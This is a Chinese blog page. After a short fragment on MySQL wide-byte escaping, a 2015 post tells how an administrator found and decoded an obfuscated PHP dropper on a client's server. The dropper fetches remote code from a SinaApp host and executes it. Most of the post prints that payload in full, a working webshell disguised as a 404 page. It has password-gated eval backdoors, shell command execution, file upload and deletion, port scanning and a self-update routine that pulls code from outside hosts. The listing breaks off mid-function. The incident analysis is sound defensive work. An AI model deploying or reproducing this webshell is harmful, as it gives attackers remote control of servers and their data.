原理是,mysql_real_escape_stringaddslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e55c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

上述的两个条件是“与”运算的关系,少一条都不行。

测试;

输出:

 

 

效果很明显。

from:http://write.blog.csdn.net/postedit/42874517

对某个脚本进行的php解密

发布时间:April 27, 2015 // 分类:运维工作,PHP,代码学习,linux // No Comments

晚上客户反映服务器最近流量有些异常,于是就去查看服务器日志,为了自身方便,写了一个文件来查询

<?php
$ua_file = "ua.txt";
 
$ua_data = date("Y/m/d H:i:s")."----".$_SERVER['REMOTE_ADDR']."\n";
$ua_data = $ua_data."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_USER_AGENT']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_REFERER']."\n";
$ua_data = $ua_data."\n";
 
$ffff = fopen($ua_file, 'a');  
fwrite($ffff, $ua_data);  
fclose($ffff);
?>

可是其中的一请求的文件引起了我的注意,直接打开看看~

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;
$call = sprintf('%s_%s_%s',A,B,C);
$create = sprintf('%s_%s',D,E);
$file = sprintf('%s_%s_%s',F,F1,F2);
$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
$call($create(null,$p(T,$file($p(T,join(null,$t))))));
?>

于是随手解密了下,发现函数的原型是这样子的

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;  //pack
//明显的对函数进行拼接
$call = sprintf('%s_%s_%s',A,B,C); //call_user_func  调用自定义的函数
$create = sprintf('%s_%s',D,E);    //create_function  创建自定义函数
$file = sprintf('%s_%s_%s',F,F1,F2); //file_get_contents 远程文件读取

$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
//$call($create(null,$p(T,$file($p(T,join(null,$t))))));
​//join(null,$t) join() 函数把数组元素组合为一个字符串
call_user_func(create_function(null,pack(H*,file_get_contents(H*,join(null,$t)))));
?>

其中的join(null,$t)得到的是

687474703a2f2f646f646f646f6d652e73696e616170702e636f6d2f676574636f64652e7068703f63616c6c3d636f6465

然后$p(T,join(null,$t));的到的结果是

http://dododome.sinaapp.com/getcode.php?call=code

那么一目了然了,从http://dododome.sinaapp.com/getcode.php?call=code读取到的东西,经过pack解码,然后直接调用

//<?php
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2012 KingBin All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: KingBin ooooooo.oooo.ooooooo@foxmail.com 
// +----------------------------------------------------------------------
error_reporting(0);
define('KING_SELF', basename($_SERVER["SCRIPT_FILENAME"]));
define('IS_WIN', 'win' == substr(strtolower(PHP_OS), 0, 3));
defined('mamashuoanquangoushigehenrongyiguodedashaguaruanjian') or define('mamashuoanquangoushigehenrongyiguodedashaguaruanjian', 'demo');
date_default_timezone_set('asia/shanghai');
//新增过狗验证
if(defined('iphp'))
  define('_pass_',iphp);
else
  define('_pass_',mamashuoanquangoushigehenrongyiguodedashaguaruanjian);
//结束
if (!isset($_SESSION)) {
    session_start();
}

function init() {
    remote_e();
    header("Content-type:text/html;charset=utf-8");
    session();
    //update();
    $do = new king;
    $do->start();
}

function remote_e() {
    $pass = $_REQUEST['pass'];
    $e = $_REQUEST['e'];
    if ($pass == _pass_) {
        if ($e)
            eval($e);
        die;
    }
}

function _getcwd() {
    return $_SESSION['dirpath'] . '/';
}

function kill($process) {
    $wmi = new COM("Winmgmts:/root/cimv2");
    $data = $wmi->ExecQuery(sprintf("SELECT * FROM Win32_Process Where Name='%s'", $process));
    foreach ($data as $v) {
        $v->Terminate();
    }
}

function session() {
    $sessid = empty($_COOKIE[session_name()]) ? $_COOKIE[session_name()] : null;
    if ($sessid)
        session_id($sessid);
}

function update() {
    $code = "<?php
session_start();
define('version','v2');
define('pp', '{pass}');
if(isset(\$_SESSION['k'])){
  \$k = \$_SESSION['k'];
}else{
  \$_SESSION['k'] = pack('H*',file_get_contents(pack('H*','687474703a2f2f66696c652e6865696c6979752e636f6d2f676574636f64652e7068703f63616c6c3d636f6465')));
  \$k = \$_SESSION['k'];
}
call_user_func(create_function(null,\$k));
?>
";

    $pass =  _pass_;
    $contents = str_replace('{pass}', $pass, $code);
    if (!defined('version') || version != 'v2') {
        file_put_contents(KING_SELF, $contents);
            //header('location:' . KING_SELF);
    }
}

function I($name) {
    return $_REQUEST[$name];
}

//已经废弃
function _king($key) {
    $opts = array('http' => array('method' => 'GET', 'timeout' => 10));

    $context = stream_context_create($opts);

    if (isset($_SESSION['code'])) {
        $code = bin::decode($_SESSION['code'], $key);
    } else {
        $_SESSION['code'] = $GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']
                                        ('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key)), false, $context);
        $code = $GLOBALS['s']('%s', @bin::decode($_SESSION['code'], $key));
    }
    //这里很重要针对5.3 以上匿名优化
    $GLOBALS['c']($GLOBALS['e'](false, $code));
}

//end
function css() {
    $code = <<< css
    <style>
    input{font:11px Verdana;height:18px;border:1px solid #666666;}a{color:#00f;text-decoration:underline;}a:hover{color:#f00;text-decoration:none;}#header{height:20px;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}#header .left{float:left;}#header .right{float:right;}#menu{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}#content{margin:0 auto;width:98%;}#content h2{margin-top:15px;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}#content #base,#content #base2{background:#eee;margin-bottom:10px;}#base input{float:right;border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;margin:5px 10px;}.cdrom{padding:5px;margin:auto 7px;}.h{margin-top:8px;}#base2 .input{font:12px Arial,Tahoma;background:#fff;border:1px solid #666;padding:2px;height:18px;}#base2 .bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}dl,dt,dd{margin:0;}.focus{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}.fff{background:#fff}dl{margin:0 auto;width:100%;}dt,dd{overflow:hidden;border-top:1px solid white;border-bottom:1px solid #DDD;background:#F1F1F1;padding:5px 15px 5px 5px;}dt{border-top:1px solid white;border-bottom:1px solid #DDD;background:#E9E9E9;font-weight:bold;padding:5px 15px 5px 5px;}dt span,dd span{width:19%;display:inline-block;text-indent:0em;overflow:hidden;}#footer{padding:10px 30px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;}#load{position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display:none;}.in{width:40px;text-align:center;}.high{background-color:#0449BE;color:white;margin:0 2px;padding:2px 3px;width:10px;}.high2{margin:0 2px;padding:2px 0px;width:10px;}#login{display:none;}#show_file{padding: 10px 10px;border: #000 solid;color:#000;height:400px;width:800px;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;background:#fff;overflow:auto;}#open,#upload{display:none;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;}#close{color:#fff;height:16px;width:30px;position:absolute;right:0;background:#000;z-index:1;}#upfile{width:628px;height:108px;padding:10px 20px;background-color:white;position:fixed;top:45%;left:50%;margin-top:-54px;margin-left:-314px;border:#000 solid;}
    #login{display:none;}
    body{font:14px Arial,Tahoma;line-height:16px;margin:0;padding:0;}
    h1{display: block;font-size: 32px;font-weight: bold;font-family:none;}
    .not_found{margin:20px 20px;}
    .not_found p{font-family:none;font: 14px Arial,Tahoma;line-height: 16px;}
    in{border:1px;}
    .red{color:#FF0085;}
    #base2 .input{width:260px;}
    .hide{display:none;}
    .showfile {font-size: 16px;line-height: 28px;}
    </style>
css;
    return $code;
}

function js() {
    $code = <<< js
    <script>
     (function() {
    
    function _key() {
        $(document).keydown(function(e) {
            var key = (e.keyCode) || (e.which) || (e.charCode);
            if (key == 80) {
                $(".not_found").hide();
                $("#login").show();
            }
        });
    }
    
    function error(msg, element, speed) {
        speed = speed || "3000";
        //setTimeout('$(element).show("slow")',speed);
        $(element).show();
        $(element).text(msg);
        setTimeout(
        function() {
            $(element).hide();
        }
        , speed);
    }
    function post(element, url, form) {
        $(element).click(function() {
            $.get(url, $(form).serialize(), function(data) {
                if (data.status == 100) {
                    error(data.msg, '#notice', 2000);
                }else{
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
            }, "json");
        });
    }
    function close(){
        $("#close").click(function(){
            $("#open").hide();
        });
        $("#close_file").click(function(){
          $("#upfile").hide();
        });
    }    
    function get(element){
         $(element).on('click',function(e){
            $.get(this.href,function(data){
                if(data == null){
                    error('权限不足,无法查看!', '#load', 2000);
                }
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.editfile){
                  if($(window).scrollTop()>0) $('body,html').animate({scrollTop:0},1000);
                  $(".newfile").show();
                  $(".newfile_name").empty();
                  $(".newfile_name").val(data.filename);
                  $(".newfile_value").empty();
                  $(".newfile_value").text(data.editfile);

                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }
                if(data.status==200){
                    //window.location.href={gourl}
                    window.location.reload();
                }
                
            },"json");
            e.preventDefault();
            return false;
         });
         return false;
     }
     function find(){
       
        $('.qh').click(function(){
            var find = $('.find').val();
            if( find == null){
                error('切换的路径不能为空', '#load', 2000);
            }
             $.get('?action=find&file='+find,function(data){
                if(data == null){
                    error('切换的路径不能为空!', '#load', 2000);
                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            
        });
     }
     function port(){
        $(".click_port").click(function(){
            $('.port_hide').toggle();
            $(".findport").click(function(){
                error("正在扫描端口,请耐心等待", '#load', 2000);
                var port = $('.port').val();
               $.get('?action=port&ports='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
            
        });
    }
    function upload(){
      $('.upload').click(function(){
        $('#upfile').toggle();
      });
      $(".postfile").click(function(){
        $('#upfile').hide();
         $("#form1").submit();
      });
    }
    function runphp(){
        $(".run_php").click(function(){
            $('.runphp_hide').toggle();
            $(".runphp_click").click(function(){
                error("正在执行php代码,请耐心等待", '#load', 2000);
                var port = $('.runphp_value').val();
               $.get('?action=runphp&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile==null){
                       error("语句执行错误,或者执行的函数被禁用!", '#load', 2000);
                    }
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
            
        });
    }
    function run_command(){
        $(".run_command").click(function(){
            $('.runcommand_hide').toggle();
            $(".runcommand_click").click(function(){
                error("正在执行命令,请耐心等待", '#load', 2000);
                var port = $('.runcommand_value').val();
               $.get('?action=runcommand&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile){
                       error("命令执行成功!", '#load', 2000);
                      $('#show_file').append('<pre>'+data.showfile+'</pre>');
                    }                  
                   
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });           
        });
    }
      function newfile(){
      $("._newfile").click(function(){
          $(".newfile").toggle();
      });     
      $(".newfile_click").click(function(){
          var name = $(".newfile_name").val();
          var contents = $(".newfile_value").val();
          if(name==''){
              error("新建文件不能为空!", '#load', 2000);
              return false;
          }
         if(contents==''){
              error("新建内容不能为空!", '#load', 2000);
              return false;
          }
          if(name && contents){
              $.post('?action=createfile',{file:name,body:contents},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                 
            },"json");
           }
      });
   }
     function newfolder(){
      $("._newfolder").click(function(){
          $(".newfolder").toggle();
      });     
      $(".newfolder_click").click(function(){
          var name = $(".newfolder_name").val();
          if(name==''){
              error("新建文件夹不能为空!", '#load', 2000);
              return false;
          }
          if(name){
              $.post('?action=newfolder',{file:name},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                
            },"json");
           }
      });
   }

   function pay(){
      $('.pay').click(function(){
        alert('付费模块正在努力制作中!');
      });
   }
    function _init() {
        $(function($) {
            _key();
            url = $("#submit").attr('data_url');
            post('#submit',url, '#f_login');
            get('.action_del');
            close();
            find();
            port();
            runphp();
            upload();
            run_command();
            newfile();
            newfolder();
            pay();
            $('.packages').click(function(){
              error('打包时间比较长,请耐心等待。。或者进行其他操作。。', '#load', 5000);
            });
        });
            
    }


    
    _init();
})();
    </script>
js;
    return $code;
}

function _html() {
    $code = <<< CODE
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
    <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
   <div id="notice" style="position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display: none; font-size:12px;"></div>
   <div class="not_found">
   <h1>Not Found</h1>
    <p>The requested URL /{url} was not found on this server.</p>
   </div>
   <div id="login">
   <form action="" method="GET" id="f_login">
   <span style="font:11px Verdana;">
       Password: 
     </span>
     <input id="pwd" name="password" type="password" size="20" />
     <input id="submit" data_url="{url}" type="button" value=" login " />
   </form>
  </div>
</body>
</html>
CODE;

    return str_replace(array(
        '{url}',
        '{load_css}',
        '{load_js}'), array(
        KING_SELF,
        css(),
        js()), $code);
}

function class_html() {
    $code = <<< code
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
  <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
{body}
</body>
</html>
code;
    return $code;
}

function class_body() {
    $code = <<< code
<div id="load">
</div>
<div class='hide' id="upfile">
<p></p><p></p><p><a href="javascript:;;;" id="close_file">点我关闭</a></p>
<form action="?action=upload" id="form1" name="form1" encType="multipart/form-data"  method="post" target="hidden_frame">
    <input name="action" value="upload" type="hidden" />
    <input type="file" id="userfile" name="userfile">  
    <INPUT class="postfile" type="button" value="上传文件">         
    <iframe name="hidden_frame" id="hidden_frame" style="display:none"></iframe>  
</form>  
</div>
<div id="open">
<div style="position:relative;">
<div id="close">关闭</div>
</div>
<div id="show_file" class="showfile">
</div>
</div>
<div id="header">
  <div class="left">
  {host}({ip})
  </div>
  <div class="right">
  OS:{uname} {software} php {php_version}
  </div>
</div>
<div id="menu">
    {menu}
</div>
<div id="content">
<h2>文件管理 - 当前磁盘空间 <span id="disktotal">{space_total}</span> 运行用户:{whoami}</h2>
  <div id="base">
    <div class="cdrom">
      <span id="listdir"> {current_dir}</span>
    </div>
    <div class="cdrom">
      {all_dir}
    </div>
  </div>
  <div class="h"></div>
  <div id="base2">
    <div class="cdrom">
      {action}
    </div>
    <div class="cdrom">
      切换路径: <input class="input find" name="findstr" value="" type="text" /> <input  class="bt qh" value="切换" type="submit" />
    </div>
    <div class="cdrom runcommand_hide hide">
      运行命令: <input class="input runcommand_value" name="runphp" value="" type="text"/> <input  class="bt runcommand_click" value="运行" type="submit" />
    </div>
    <div class="cdrom port_hide hide">
      扫描端口: <input class="input port" name="findstr" value="21,22,25,80,3306,9000,11211" type="text" /> <input  class="bt findport" value="扫描" type="submit" />
    </div>
    <div class="cdrom runphp_hide hide">
      运行php: <textarea class="input runphp_value" name="runphp" value="" type="text" style="width:600px;height:200px;"/></textarea> <input  class="bt runphp_click" value="运行" type="submit" />
    </div>
     <!--new file -->
    <div class="cdrom hide newfile">
           新建文件: <input class="input newfile_name"  style="font-size:16px;color:blue;" name="findstr" value="" type="text" /> 
     <div style="margin-top:10px;">
     新建内容: <textarea class="input newfile_value" name="runphp" value="" type="text" style="width:600px;height:200px;font-size:16px;color:blue;line-height: 28px;"/></textarea> 
         <input  class="bt newfile_click" value="新建" type="submit" />
      </div>
    </div>     
    <!--end-->
     <div class="cdrom hide newfolder">
         新文件夹: <input class="input newfolder_name" name="findstr" value="" type="text" /> 
         <input  class="bt newfolder_click" value="新建" type="submit" />
    </div>     
  </div>
  <!-- return -->
  <div id="show">
   <dl>
  <dt>
    <span class="in"> </span>
    <span>文件名</span>
    <span>修改时间</span>
    <span>文件大小</span>
    <span>权限</span>
    <span>操作</span>
  </dt>
  <dd >
    <span class="in">
    -
    </span>
    <span>
      <a class='action_del' href="?action=up">返回上一目录</a>
    </span>
    <span></span>
    <span></span>
    <span></span>
     <span></span>
  </dd>
  <!-- file -->
    {showfile}
  <!-- file  end -->
 </dl>
  </div>
 <!-- page start-->
  <!-- end -->
</div> 
<div class="h"></div>
<div id="footer">
   当前版本:2.0 一句话连接提供 {http}/{k}?pass={p} 密码是e</span>
</div>
code;
    return str_replace(array('{http}', '{k}', '{p}'), array($_SERVER["HTTP_HOST"], KING_SELF, _pass_), $code);
}

function show_html() {
    $code = <<< code
    <dd class="{color}" onmouseover="this.className='focus'" onmouseout="this.className='{color}'">
    <span class="in">
     <input name="" type="checkbox">
    </span>
    <span>
    <a class="action_del {.red}" href="{self}?action=view&file={file}" name="" >{return_file}</a>
    </span>
    <span>
     <a href="javascript:;;;" name="" >{return_time}</a>
    </span>
    <span>{return_size}</span>
    <span>
     <a href="javascript:;;;" name="" >{return_chmod}</a> / 
     <a href="javascript:;;;" name="">{return_perms}</a>
    </span>
    <span>
     {is_folder}
   </span>
  </dd>
code;
    return $code;
}

function pages() {
    $code = <<< code
   <div id="pages">
   <dl>
    <dd>
    <span class="in"> </span>
    <span></span>
    <span></span>
    <span></span>
    <span style="text-align:right;width:38%">
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=1" >Index</a>   
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$previous" >Previous</a>
    {pages}
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$next" >Next</a>
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$nums" >End</a>
    </dd>
    </dl>
  </div>
code;
}

function _login() {
    $password = I('password');
    //去掉原有key保护改为用户自定义密码[服务端已修改]
    //&& NULL == bin::decode($GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key))), $key)
    if (isset($password) && $password !=_pass_) {
        die('{"status":"100","msg":"密码不对"}');
    }
    echo _html();
}

function _logout() {
    setcookie(session_name(),null, time() - 86400);
    session_destroy();
}

function is_ajax() {
    if (strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
        return true;
}

function run() {
    $action = new run();
    $action->index();
}

function _is_login() {

    $cookie = !empty($_SESSION['_king_key']) ? pack('H*', $_SESSION['_king_key']) : null;
    $key = I('password') ? I('password') : $cookie;
    if (_pass_ == $key) {
        if ($_SESSION['_king_key'] != bin2hex(_pass_)) {
            //setcookie('_king_key', bin2hex($key), time() + 86400);
            setcookie(session_name(), session_id(), time() + 86400);
            $_SESSION['_king_key'] = bin2hex($key);
        }
        run();
    } else
        _login();
}

class run {

    function index() {
        $action = I('action') ? I('action') : null;
        if (isset($action)) {
            if (method_exists($this, $action))
                $this->$action();
        } else {
            $this->dump();
        }
    }

    function restart() {
        if (!IS_WIN) {
            die('{"msg":"非常抱歉,此操作仅限windows系统"}');
        }
        if (!class_exists('COM')) {
            die('{"msg":"非常抱歉,此机器不支持重启"}');
        }
        //尝试重启
        kill('services.exe');
        die('{"msg":"正在尝试重启服务器系统,如不是system权限请放弃操作!"}');
    }

    function find() {
        $dir = $this->gbk_mbstring(I('file'));
        if (is_dir($dir)) {
            $this->setpath($dir);
            $this->dump();
        }
    }

    function hello() {
        $i = I('world');
        if ($i) {
            eval($i);
        }
        exit;
    }

    function createfile() {
        $filename = I('file');
        $contents = I('body');
        if (isset($filename) && isset($contents)) {
            if (true == file_put_contents(_getcwd() . $filename, $contents)) {
                $this->dump('新建文件成功!');
            } else {
                $this->dump('新建文件失败!');
            }
        }
    }

    function newfolder() {
        $filename = I('file');
        if (isset($filename)) {
            if (is_dir(_getcwd() . $filename)) {
                die('{"msg":"文件夹已经存在"}');
            }
            if (true == mkdir(_getcwd() . $filename, 0777)) {
                $this->dump('新建文件夹成功!');
            } else {
                $this->dump('新建文件夹失败!');
            }
        }
    }
    function editfile(){
       if(IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
       if (is_file($filename)) {
            ob_start();
            echo file_get_contents($filename);
            $contents = ob_get_clean();
            echo sprintf('{"editfile":%s,"filename":"%s"}', json_encode($this->mbstring($contents)),basename($filename));
        }

    }
    function rmdir() {
        if(IS_WIN)
            $dir = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $dir = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            (is_dir("$dir/$file")) ? $this->rmdir("$dir/$file") : unlink("$dir/$file");
        }
        if(true==rmdir($dir)){
            $this->dump('文件夹删除成功!');
        }else{
            die('{"msg":"文件夹删除失败!"}');
        }
    }

    function phpinfo() {
        $html = <<< code
        <pre>
        php参数查看
   ======================================
        
   禁用的函数:
   {disable_function}
   禁用的类 :{class}
   支持的拓展 : 
   {ext}
   加载的项目 : {include}
   前置调用 : {pre}
   后置调用 :{next}
   内存设置大小 : {mem}
   php.ini 路径 : {php}
   最大上传 : {u}
        
  =======================================
                       code by blackbin
        </pre>
code;
        $dis = ini_get('disable_functions');
        $ext = join(',', get_loaded_extensions());
        $in = ini_get('include_path');
        $mem = ini_get('memory_limit');
        $class = ini_get('disable_classes');
        $php = php_ini_loaded_file();
        $u = ini_get('upload_max_filesize');
        $pre = ini_get('auto_prepend_file');
        $next = ini_get('auto_append_file');
        $code = str_replace(array(
            '{disable_function}',
            '{ext}',
            '{include}',
            '{mem}',
            '{class}',
            '{php}',
            '{u}',
            '{pre}',
            '{next}'), array(
            str_replace(',', '<br/>   ', $dis),
            str_replace(',', '<br/>   ', $ext),
            $in,
            $mem,
            $class,
            $php,
            $u,
            $pre,
            $next), $html);
        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function port() {
        $port = explode(',', I('ports'));
        foreach ($port as $v) {
            if (true == $this->fsockopen($v)) {
                $yes[] = $v;
            } else {
                $no[] = $v;
            }
        }
        $html = <<< code
        <pre>
              端口检测
         =======================
          服务器开放端口:{yes}
          服务器关闭端口:{no}
         =======================
       </pre>
        
code;
        $code = str_replace(array('{yes}', '{no}'), array(join(',', $yes), join(',', $no)), $html);

        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function fsockopen($port) {
        $fp = fsockopen("127.0.0.1", $port, $errno, $errstr, 1);
        if (!$fp) {
            return false;
        }
        return true;
    }

    function runphp() {
        $codes = I('codes');
        ob_start();
        eval($codes);
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($c)));
    }

    function runcommand() {
        $codes = I('codes');
        ob_start();
        echo `$codes`;
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($this->mbstring($c))));
    }

    function viewinfo() {
        phpinfo();
        exit;
    }

    function logout() {
        _logout();
        header('location:http://'.$_SERVER["HTTP_HOST"].'/'.KING_SELF);
        die('{"status":"200","msg":"你已成功退出!"}');
    }

    function del() {
        if (IS_WIN)
            $file = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $file = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($file)) {
            if (false == unlink($file)) {
                die('{"msg":"对不起,您没有删除此文件的权限!"}');
            } else {
                $this->dump('成功删除文件!');
            }
        }
        return;
    }

    function down() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($filename)) {
            if (file_exists($filename)) {
                $this->download($filename);
            }
        }
        return;
    }

    function linuxpkg() {
        if (IS_WIN)
            die('{"msg":"此功能仅限linux平台使用"}');
        $disable_functions = ini_get('disable_functions');
        if (strpos($disable_functions, 'shell_exec')) {
            die('{"msg":"非常抱歉,命令行已被禁用,请使用左边的打包功能!"}');
        }
        $apath = pack('H*', $this->scriptroot());
        $path = $_SESSION['dirpath'];
        $shell = sprintf('tar zcf %s.tar.gz %s', md5(uniqid()), $path);
        shell_exec($shell);
        $this->setpath($apath);
        $this->dump('亲,恭喜您,打包成功!');
    }

    function packages() {
        if (!class_exists('ZipArchive')) {
            die('{"msg":"当前环境不支持打包!"}');
        }
        $c = $this->_scandir($this->mbstring($_SESSION['dirpath']));
        array_walk_recursive($c, array($this, 'tofile'));
        $res = $this->addzip();
        if ($res) {
            //返回打包路径
            $apath = pack('H*', $this->scriptroot());
            $this->setpath($apath);
            $this->dump('亲,恭喜您,打包成功!');
        }
    }

    function up() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        $_SESSION['dirpath'] = str_replace('\\', '/', $this->setpath(dirname($path)));
        $this->dump();
    }

    //区分windows编码 windows gbk
    function view() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (is_dir($filename)) {
            $this->setpath($filename);
            $this->dump();
        }
        if (is_file($filename)) {
            ob_start();
            show_source($filename);
            $contents = ob_get_clean();
            echo sprintf('{"showfile":%s}', json_encode($this->mbstring($contents)));
        }
    }

    function upload() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        if (true == @file_put_contents($path . '/' . basename($_FILES['userfile']['name']), file_get_contents($_FILES['userfile']['tmp_name']))) {
            exit('
          <script>
          parent.$("#load").show();
          parent.$("#load").text("上传成功,刷新当前页面即可!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        } else {
            exit('<script>
          parent.$("#load").show();
          parent.$("#load").text("上传失败!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        }
    }

    protected function dump($msg = null) {
        if (is_ajax()) {
            $this->dump_ajax($msg);
        } else {
            $this->dump_html();
        }
    }

    //start
    function _scandir($path) {
        $path = $this->gbk_mbstring($path);
        $class = new DirectoryIterator($path);

        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring($path) . '/' . $this->mbstring($fileinfo->
                                        getFilename());
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->_scandir($path . '/' . $fileinfo->getFilename());
            }
        }
        if (!isset($files))
            $files = array();
        if (!isset($dirs))
            $dirs = array();
        $return = array_merge($dirs, $files);
        return $return;
    }

    function trimpath($path) {
        return str_replace('\\', '/', $path);
    }

    function tofile($item, $key) {
        $GLOBALS['addzips'][] = array('pathname' => $item, 'filename' => ltrim(str_replace
                            ($this->trimpath(dirname(__file__)), null, $item), '/'));
    }

    function addzip() {
        set_time_limit(0);
        $basename = md5(uniqid()) . '.zip';
        $zip = new ZipArchive;
        if (!is_file($basename))
            $res = $zip->open($basename, ZipArchive::CREATE);
        else
            $res = $zip->open($basename);
        if ($res === true) {
            foreach ($GLOBALS['addzips'] as $add) {
                if (basename($add['pathname']) == $basename)
                    continue;
                $zip->addFile($this->gbk_mbstring($add['pathname']), $this->gbk_mbstring($add['filename']));
            }
            $zip->close();
        } else {
            die('{"msg":"不能创建打包程序,可能是目录没有读写权限!"}');
        }
        return true;
    }

    //end
    function download($filename) {
        set_time_limit(0);
        $file = new SplFileObject($filename);
        header("Cache-Control: no-cache, must-revalidate");
        header("Pragma: no-cache");
        header("Content-Disposition: attachment; filename=" . $file->getbasename());
        header("Content-Length: " . $file->getsize());
